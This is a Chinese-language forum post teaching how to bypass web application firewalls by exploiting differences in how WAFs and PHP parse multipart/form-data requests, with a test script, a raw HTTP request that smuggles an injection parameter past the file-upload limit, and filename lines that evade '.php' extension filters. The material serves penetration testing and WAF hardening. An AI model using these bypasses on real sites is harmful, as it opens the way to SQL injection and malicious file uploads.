標題:WAF Bypass

taibeihacker

Moderator

WAF Bypass​

本文介紹的思路主要圍繞針對於POST 參數的multipart/form-data 進行討論。
multipart/form-data 是為了解決上傳文件場景下文件內容較大且內置字符不可控的問題。在最初的http 協議中,並沒有上傳文件方面的功能。 RFC1867 為HTTP 協議添加了這個能力。常見的瀏覽器都已經支持。按照此規範將用戶指定的文件發送到服務器,可以按照此規範解析出用戶發送來的文件。
HTTP 傳輸的內容通過boundary 進行了分割,以--boundary 開始,並以--boundary-- 結尾。
multipart/form-data 格式也是可以傳遞POST 參數的。對於Nginx + PHP 的架構,Nginx 實際上是不負責解析multipart/form-data 的body 部分的,而是交由PHP 來解析,因此WAF 所獲取的內容就很有可能與後端的PHP 發生不一致。
通過一個簡單的腳本來驗證上面的說法。
1
2
3
4
5
6
7
8
9
?php
echo file_get_contents('php://input');
echo '$_POST Content\n';
echo '';
var_dump($_POST);
echo '$_FILES Content\n';
echo '';
var_dump($_FILES);
?
正常情況下使用multipart/form-data POST 傳輸一個參數f,其值為1:
202203041521288.png-water_print

上面說到,multipart/form-data 用來解決傳輸文件的問題,那什麼情況是上傳文件?什麼情況是POST 參數呢?關鍵點在於有沒有一個完整的filename=,這9 個字符缺一不可。加上了filename=以後的回顯:
202203041524972.png-water_print

由於一些WAF 產品對用戶上傳文件的內容不做匹配,直接放行。因此,關鍵問題在於,WAF 能否準確有效識別出哪些內容是傳給POST 數組的,哪些傳給FILES 數組?如果不能,那就可以想辦法讓WAF 以為我們是在上傳文件,而實際上卻是在POST 一個參數,這個參數可以是命令注入、SQL 注入、SSRF 等任意的一種攻擊,這樣就實現了通用型的WAF Bypass。

Bypass 思路 - 初级​

0x00 截断​

在filename 之前加入了0x00 (%00 url decode),有些WAF 在檢測前會對HTTP 協議中的0x00 進行過濾, 這樣就導致了WAF 認為是含有filename 的普通上傳,而後端PHP 則認為是POST 參數。
202203041534841.png-water_print

文件描述双写混淆​

雙寫Content-Disposition,一些WAF 會取第二行,而實際PHP 會獲取第一行。
202203041535090.png-water_print

另外針對Content-Disposition 的雙寫混淆還有可以包括Content-Type:
202203041539002.png-water_print

但是這種方式會將f 變量中加入一些垃圾數據,在進行注入時需要進行閉合處理。

multipart 混淆​

通過構建一個新的multipart 部分,是兩個部分傳遞的參數名相同,達到混淆的目的。
帶有垃圾數據的情況
202203041542734.png-water_print

不帶垃圾數據的情況
202203041542675.png-water_print

Boundary 混淆​

构造双重 boundary​

202203041548446.png-water_print

在PHP 中,只識別到boundary=a,即真正的boundary 為a。若WAF 中識別到的boundary 為b,就會將第13 行到第18 行做為文件pic.png 的內容進行傳輸,達到混淆的目的。

构造双重 Content-Type​

這種混淆方式與上一種情況類似,只是將Content-Type 進行混淆,指定不同的boundary。
202203041551351.png-water_print

空白 boundary​

202203041557946.png-water_print

在PHP 中,只識別到boundary=空。若WAF 中錯將; 識別到為boundary,就會將第13 行到第18 行做為文件pic.png 的內容進行傳輸,達到混淆的目的。

空格 boundary​

同樣的boundary 也可以是空格
202203041601212.png-water_print

boundary 中的逗号​

202203041608384.png-water_print

事實上,在PHP 中會將Boundary 中的逗號作為分隔符,即boundary 遇到逗號就結束。
只標識一個逗號也可以:
202203041609039.png-water_print

Bypass 思路 - 进阶​

0x00 截断进阶​

202203041625935.png-water_print

202203041641335.png-water_print

202203041642723.png-water_print

這三個位置都可以。將其替換為0x00 和0x20 與之同理。
此外,將0x00 放到參數名中也可以繞過:
202203041649598.png-water_print

Boundary 混淆进阶​

boundary 的名稱是可以前後加入任意內容的,WAF 如果嚴格按boundary 去取,就會出現混淆。
202203041654246.png-water_print

在雙寫Content-Type 的混淆中,將第一個Content-Type 和冒號部分填入了空格,實現繞過。
202203041701548.png-water_print

Boundary 的取值混淆:
202203041703089.png-water_print

单双引号混合​

Content-Disposition 中的字段使用單引號、雙引號進行混淆
202203041705980.png-water_print

urlencoded 与 multipart 混淆​

在Content-Type 頭中,分別指定為:urlencoded 與multipart。實際上PHP 識別到的為urlencoded,若WAF 識別到的為multipart,就可以繞過檢測。通過來作為參數分隔符,截取參數sqlInjectionParam 的前後部分,完整保留該參數。
由於multipart/form-data 下的內容不進行urldecoded, 一些WAF 也正是這樣設計的,這樣做本沒有問題,但是如果是urlencoded 格式的內容,不進行url 解碼就會引入%0a 這樣字符,而這樣的字符不解碼是可以直接繞過防護規則的,從而導致了繞過。
202203041713226.png-water_print

Bypass 思路 - 高级​

此章節通過結合PHP 源碼來討論WAF Bypass 的可能性。

skip_upload - 1​

在PHP 源碼中,處理multipart 時存在這樣一段代碼:
202203051556856.png-water_print

其中的param 就是name='f',當程序進入c 0 這個分支時,就會跳過當前part 的上傳流程。由於初始化時c=0,遇到[ 時,c +=1,遇到] 時,c -=1。因此,可以構造name='f]',即可讓c=-1。
202203051601257.png-water_print

skip_upload - 2​

在PHP 源碼中,有這樣一段代碼:
202203051608783.png-water_print

當文件上傳數量超出最大值後,會跳過當前part 文件的處理。在php 5.2.12 和以上的版本,有一個隱藏的文件上傳限制是在php.ini 裡沒有的,就是這個max_file_uploads 的設定,該默認值是20, 在php 5.2.17 的版本中該值已不再隱藏。文件上傳限制最大默認設為20,所以一次上傳最大就是20 個文檔,所以超出20 個就會報錯。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
POST /waf.php HTTP/1.1
Accept: */*
Host: localhost:8081
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=a
Content-Length: 2030
--a
Content-Disposition: form-data; name='1'; filename='pic.png'
Content-Type: image/png
1
--a
Content-Disposition: form-data; name='2'; filename='pic.png'
Content-Type: image/png
2
--a
Content-Disposition: form-data; name='3'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='4'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='5'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='6'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='7'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='8'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='9'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='10'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='11'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='12'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='13'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='14'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='15'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='16'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='17'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='18'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='19'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='id'; filename='pic.png'
Content-Type: image/png
3
--a
Content-Disposition: form-data; name='id';
sql injection!
--a--
202203051615512.png-water_print

关于文件扩展名的绕过​

前文主要是提出一些關於源站與WAF 在解析multipart 之間存在的差異導致的繞過。在實際滲透測試中,如何繞過文件擴展名是很重要一個點,所以本節內容主要介紹,在WAF 解析到filename 參數的情況下,從協議和後端解析的層面如何繞過文件擴展名。
整體上的思路為:filename='file_name.php',對於WAF 層面來說,發現擴展名為php,接著進行攔截,繞過的目標為,使WAF 解析出的filename 不出現php 關鍵字,並且後端程序在驗證擴展名的時候會認為這是一個php 文件。
從各種程序解析的代碼來看,為了讓waf 解析出現問題,干擾的字符除了上文說的引號,空格,轉義符,還有:這裡還是要分為兩種形式的測試。
無引號包裹的形式
1
2
3
4
5
6
7
8
9
10
11
Content-Disposition: form-data; name=key3; filename=file_name:php
Content-Disposition: form-data; name=key3; filename=file_name'.php
Content-Disposition: form-data; name=key3; filename=file_name'.php
Content-Disposition: form-data; name=key3; filename=file_name\'.php
Content-Disposition: form-data; name=key3; filename=file_name .php
Content-Disposition: form-data; name=key3; filename=file
 
返回
上方